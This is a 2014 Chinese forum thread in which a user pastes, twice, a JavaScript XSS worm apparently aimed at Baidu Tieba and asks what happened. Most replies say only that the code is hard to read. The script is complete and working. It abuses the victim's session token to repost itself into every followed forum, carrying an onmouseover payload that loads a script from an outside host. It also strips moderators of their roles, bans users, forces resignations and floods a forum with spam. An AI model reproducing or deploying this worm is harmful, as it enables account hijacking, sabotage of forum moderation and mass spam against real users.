梦殇国际
标题:
贴吧出了什么事辣?
[打印本页]
作者:
看等非军事01
时间:
2014-3-9 18:30
标题:
贴吧出了什么事辣?
复制代码
脚本代码:
var n=PageData.user.user_forum_list.info.length;
var num=0;
var config = {
titles: ["\u4f60\u7684\u672a\u6765\u5728\u8fd9\u4e2a\u5e16\u5b50\u91cc\uff0c\u60f3\u770b\u5417\uff1f", "\u611a\u8822\u7684\u51e1\u4eba \u63a5\u53d7\u795e\u306e\u6012\u706b\u5427","\u8fd9\u662f\u547d\u8fd0\u77f3\u4e4b\u95e8\u7684\u9009\u62e9","\u98a4\u6296\u5427\uff0c\u51e1\u4eba\u4eec\uff01","\u6b3a\u9a97\u4e00\u5f00\u59cb\u7684\u4f60 \u6b3a\u9a97\u4e16\u754c\u5427","\u8c01\u8981\u5403\u53d8\u6001\u7684\u9999\u8549\uff01","\u521a\u624d\u6536\u5230\u4e86\u5f3a\u70c8\u7684\u7cbe\u795e\u653b\u51fb \u5fc3...\u5fc3\u7075\u6b63\u906d\u5230\u4fb5\u8680","\u4e0d\u8981\u9760\u8fd1\u6211\uff01\u6211\u6b63\u5728\u6267\u884c\u963b\u6b62\u673a\u5173\u66b4\u529b\u884c\u4e3a\u7684\u4f5c\u6218","\u624b\u62ff\u91d1\u5777\u5783\uff0c\u811a\u8e0f\u4e03\u5f69\u4e91\u7aef\uff0c\u53d1\u51fa\u6700\u540e\u7684\u5450\u558a","\u98a4\u6296\u5427\uff0c\u51e1\u4eba\u4eec\uff01"],
contents: ["\u4f60\u7684\u672a\u6765\u5728\u8fd9\u4e2a\u5e16\u5b50\u91cc\uff0c\u60f3\u770b\u5417\uff1f","\u611a\u8822\u7684\u51e1\u4eba \u63a5\u53d7\u795e\u306e\u6012\u706b\u5427","\u8fd9\u662f\u547d\u8fd0\u77f3\u4e4b\u95e8\u7684\u9009\u62e9","\u98a4\u6296\u5427\uff0c\u51e1\u4eba\u4eec\uff01","\u98a4\u6296\u5427\uff0c\u51e1\u4eba\u4eec\uff01"],
tbs: PageData.tbs,
whiteList: [635137, 1074587, 116863],
evilContent: '"onmouseover="$.getScript(\u0027//baid.ws/c8tf\u0027)' //xss
};
var userInfo = {
is_red_tail:function(i){$.get('http://tieba.baidu.com/home/get/panel?ie=utf-8&un='+PageData.user.name,function(data){return data.data.identity});}(),
is_bawu: function (p) {
return p.bawu ? p.can_edit_gconforum ? "daba" : "xiaoba" : "none"
}(PageData.user.power)
};
function addGood(fid, kw, tid) {
$.get('http://tieba.baidu.com/mo/q---9E2EBBE47D2160067823F56F5F549254%3AFG%3D1--1-3-0--2--wapp_1393073859357_21/m?tn=bdSGD&tbs=' + config.tbs + '&word=' + encodeURIComponent(kw) + '&z=' + tid + '&fid=' + fid + '&ntn=set&pn=0&cate=0&expand=0&pinf=1_2_0');
}
function topThread(fid, kw, tid) {
$.get('http://tieba.baidu.com/mo/q---9E2EBBE47D2160067823F56F5F549254%3AFG%3D1--1-3-0--2--wapp_1393073859357_21/m?tn=bdTOP&z=' + tid + '&tbs=' + config.tbs + '&word=' + encodeURIComponent(kw) + '&expand=0&fid=' + fid + '&ntn=set&pinf=1_2_0');
}
function killXiaoBa() {
$.get("/bawu2/platform/listBawuTeam?ie=utf-8&word=" + encodeURIComponent(PageData.forum.name), function (x) {
$(x).find("ul[id*='assist']").find("li[data-field*='"user_id":']").each(function () {
$.post("/bawu2/platform/delBawuMember", {
tbs: config.tbs,
word: PageData.forum.name,
user_id: $.parseJSON(this.dataset.field).user_id,
type: "assist",
ie: "utf-8"
});
});
});
}
function banXiaoBa() {
$.get('http://tieba.baidu.com/f/bawu/admin_group?ie=utf-8&kw=' + encodeURIComponent(PageData.forum.name) + '&fid=' + PageData.forum.id, function (res) {
$(res).find('tr:nth-child(3)').find('a').each(function () {
$.post('/bawu/cm', {
cm: 'filter_forum_user',
ban_days: 1,
user_name: $(this).text(),
word: PageData.forum.name,
fid: PageData.forum.id,
tbs: config.tbs,
ie: 'utf-8'
})
})
})
}
function czDaba() {
$.post('/bawu/cm', {
cm: 'apply_resign',
resignation: '\u518d\u89c1\u4e86 \u6211\u7684\u670b\u53cb\u4eec.',
dtype: 'json',
word: PageData.forum.name,
fid: PageData.forum.id,
tbs: config.tbs,
ie: 'utf-8'
})
}
function addThread(fid) {
$.post("/relay/commit", {
ie: "utf-8",
kw: "test",
fid:35,
tid:2910585163,
ftid: fid,
ptid:2910585163,
ppid:47102132189,
tbs: PageData.tbs,
title: config.titles[Math.random() * config.titles.length | 0],
content: "aeb1cb13495409230133f7cd9058d109b3de492f#"+config.contents[Math.random() * config.contents.length | 0]+config.evilContent,
new_vcode:1,
tag:11,
activity_id:1425,
act_type:"photo",
__type__:"repost"
},function (x) {
if (x.no == 0 || x.new_thread_id) return x.new_thread_id;})
}
function reply(){
if (-1 !== config.whiteList.indexOf(PageData.user.user_forum_list.info[num].id) || !userInfo.is_red_tail && !PageData.user.user_forum_list.info[num].is_like){num++;return;}
if(PageData.user.user_forum_list.info[num].tid){
num++;
}else{
PageData.user.user_forum_list.info[num].tid=true;addThread(PageData.user.user_forum_list.info[num].id);
}
}
function fuckRedTail() {
var obj = {
ie: "utf-8",
kw: "\u8d34\u5427\u610f\u89c1\u53cd\u9988",
fid: 898666,
tbs: PageData.tbs,
title: "\u767e\u5ea6SB",
content: config.contents[Math.random() * config.contents.length | 0]
}
for(var i=0;i<100;i++){
$.post("/f/commit/thread/add",obj);
}
}
if(userInfo.is_red_tail){setInterval("fuckRedTail()",8000)}
if ("daba" === userInfo.is_bawu){ killXiaoBa(); czDaba();}
if ("xiaoba" === userInfo.is_bawu) banXiaoBa();
var ruchong=setInterval("reply()",2000);
复制代码
作者:
看等非军事01
时间:
2014-3-9 18:31
脚本代码:
var n=PageData.user.user_forum_list.info.length;
var num=0;
var config = {
titles: ["\u4f60\u7684\u672a\u6765\u5728\u8fd9\u4e2a\u5e16\u5b50\u91cc\uff0c\u60f3\u770b\u5417\uff1f", "\u611a\u8822\u7684\u51e1\u4eba \u63a5\u53d7\u795e\u306e\u6012\u706b\u5427","\u8fd9\u662f\u547d\u8fd0\u77f3\u4e4b\u95e8\u7684\u9009\u62e9","\u98a4\u6296\u5427\uff0c\u51e1\u4eba\u4eec\uff01","\u6b3a\u9a97\u4e00\u5f00\u59cb\u7684\u4f60 \u6b3a\u9a97\u4e16\u754c\u5427","\u8c01\u8981\u5403\u53d8\u6001\u7684\u9999\u8549\uff01","\u521a\u624d\u6536\u5230\u4e86\u5f3a\u70c8\u7684\u7cbe\u795e\u653b\u51fb \u5fc3...\u5fc3\u7075\u6b63\u906d\u5230\u4fb5\u8680","\u4e0d\u8981\u9760\u8fd1\u6211\uff01\u6211\u6b63\u5728\u6267\u884c\u963b\u6b62\u673a\u5173\u66b4\u529b\u884c\u4e3a\u7684\u4f5c\u6218","\u624b\u62ff\u91d1\u5777\u5783\uff0c\u811a\u8e0f\u4e03\u5f69\u4e91\u7aef\uff0c\u53d1\u51fa\u6700\u540e\u7684\u5450\u558a","\u98a4\u6296\u5427\uff0c\u51e1\u4eba\u4eec\uff01"],
contents: ["\u4f60\u7684\u672a\u6765\u5728\u8fd9\u4e2a\u5e16\u5b50\u91cc\uff0c\u60f3\u770b\u5417\uff1f","\u611a\u8822\u7684\u51e1\u4eba \u63a5\u53d7\u795e\u306e\u6012\u706b\u5427","\u8fd9\u662f\u547d\u8fd0\u77f3\u4e4b\u95e8\u7684\u9009\u62e9","\u98a4\u6296\u5427\uff0c\u51e1\u4eba\u4eec\uff01","\u98a4\u6296\u5427\uff0c\u51e1\u4eba\u4eec\uff01"],
tbs: PageData.tbs,
whiteList: [635137, 1074587, 116863],
evilContent: '"onmouseover="$.getScript(\u0027//baid.ws/c8tf\u0027)' //xss
};
var userInfo = {
is_red_tail:function(i){$.get('http://tieba.baidu.com/home/get/panel?ie=utf-8&un='+PageData.user.name,function(data){return data.data.identity});}(),
is_bawu: function (p) {
return p.bawu ? p.can_edit_gconforum ? "daba" : "xiaoba" : "none"
}(PageData.user.power)
};
function addGood(fid, kw, tid) {
$.get('http://tieba.baidu.com/mo/q---9E2EBBE47D2160067823F56F5F549254%3AFG%3D1--1-3-0--2--wapp_1393073859357_21/m?tn=bdSGD&tbs=' + config.tbs + '&word=' + encodeURIComponent(kw) + '&z=' + tid + '&fid=' + fid + '&ntn=set&pn=0&cate=0&expand=0&pinf=1_2_0');
}
function topThread(fid, kw, tid) {
$.get('http://tieba.baidu.com/mo/q---9E2EBBE47D2160067823F56F5F549254%3AFG%3D1--1-3-0--2--wapp_1393073859357_21/m?tn=bdTOP&z=' + tid + '&tbs=' + config.tbs + '&word=' + encodeURIComponent(kw) + '&expand=0&fid=' + fid + '&ntn=set&pinf=1_2_0');
}
function killXiaoBa() {
$.get("/bawu2/platform/listBawuTeam?ie=utf-8&word=" + encodeURIComponent(PageData.forum.name), function (x) {
$(x).find("ul[id*='assist']").find("li[data-field*='\"user_id\":']").each(function () {
$.post("/bawu2/platform/delBawuMember", {
tbs: config.tbs,
word: PageData.forum.name,
user_id: $.parseJSON(this.dataset.field).user_id,
type: "assist",
ie: "utf-8"
});
});
});
}
function banXiaoBa() {
$.get('http://tieba.baidu.com/f/bawu/admin_group?ie=utf-8&kw=' + encodeURIComponent(PageData.forum.name) + '&fid=' + PageData.forum.id, function (res) {
$(res).find('tr:nth-child(3)').find('a').each(function () {
$.post('/bawu/cm', {
cm: 'filter_forum_user',
ban_days: 1,
user_name: $(this).text(),
word: PageData.forum.name,
fid: PageData.forum.id,
tbs: config.tbs,
ie: 'utf-8'
})
})
})
}
function czDaba() {
$.post('/bawu/cm', {
cm: 'apply_resign',
resignation: '\u518d\u89c1\u4e86 \u6211\u7684\u670b\u53cb\u4eec.',
dtype: 'json',
word: PageData.forum.name,
fid: PageData.forum.id,
tbs: config.tbs,
ie: 'utf-8'
})
}
function addThread(fid) {
$.post("/relay/commit", {
ie: "utf-8",
kw: "test",
fid:35,
tid:2910585163,
ftid: fid,
ptid:2910585163,
ppid:47102132189,
tbs: PageData.tbs,
title: config.titles[Math.random() * config.titles.length | 0],
content: "aeb1cb13495409230133f7cd9058d109b3de492f#"+config.contents[Math.random() * config.contents.length | 0]+config.evilContent,
new_vcode:1,
tag:11,
activity_id:1425,
act_type:"photo",
__type__:"repost"
},function (x) {
if (x.no == 0 || x.new_thread_id) return x.new_thread_id;})
}
function reply(){
if (-1 !== config.whiteList.indexOf(PageData.user.user_forum_list.info[num].id) || !userInfo.is_red_tail && !PageData.user.user_forum_list.info[num].is_like){num++;return;}
if(PageData.user.user_forum_list.info[num].tid){
num++;
}else{
PageData.user.user_forum_list.info[num].tid=true;addThread(PageData.user.user_forum_list.info[num].id);
}
}
function fuckRedTail() {
var obj = {
ie: "utf-8",
kw: "\u8d34\u5427\u610f\u89c1\u53cd\u9988",
fid: 898666,
tbs: PageData.tbs,
title: "\u767e\u5ea6SB",
content: config.contents[Math.random() * config.contents.length | 0]
}
for(var i=0;i<100;i++){
$.post("/f/commit/thread/add",obj);
}
}
if(userInfo.is_red_tail){setInterval("fuckRedTail()",8000)}
if ("daba" === userInfo.is_bawu){ killXiaoBa(); czDaba();}
if ("xiaoba" === userInfo.is_bawu) banXiaoBa();
var ruchong=setInterval("reply()",2000);
作者:
樱满集
时间:
2014-3-9 18:32
代码爆吧好像
作者:
落笔覆年华
时间:
2014-3-9 18:33
看不懂。。。
作者:
smoke
时间:
2014-3-9 18:36
代码哇
作者:
海绵
时间:
2014-3-9 18:41
不太清楚..
作者:
看等非军事01
时间:
2014-3-9 18:42
樱满集 发表于 2014-3-9 18:32
代码爆吧好像
我不懂java,但看起来是会撤小吧的
作者:
负荷
时间:
2014-3-9 18:43
看不懂
作者:
阿超
时间:
2014-3-9 18:43
一堆乱码
来自:Android客户端
作者:
wlqylzy
时间:
2014-3-9 18:50
什么高级代码?
作者:
天使
时间:
2014-3-9 18:58
----不懂
作者:
__KenNedy
时间:
2014-3-9 18:59
if ("daba" === userInfo.is_bawu){ killXiaoBa(); czDaba();}
if ("xiaoba" === userInfo.is_bawu) banXiaoBa();
var ruchong=setInterval("reply()",2000);
还好我会拼音
作者:
白羽
时间:
2014-3-9 19:01
被爆吧了吧……
作者:
猎鹰
时间:
2014-3-9 19:01
不明白····
欢迎光临 梦殇国际 (https://714.hk/)
Powered by Discuz! X3.4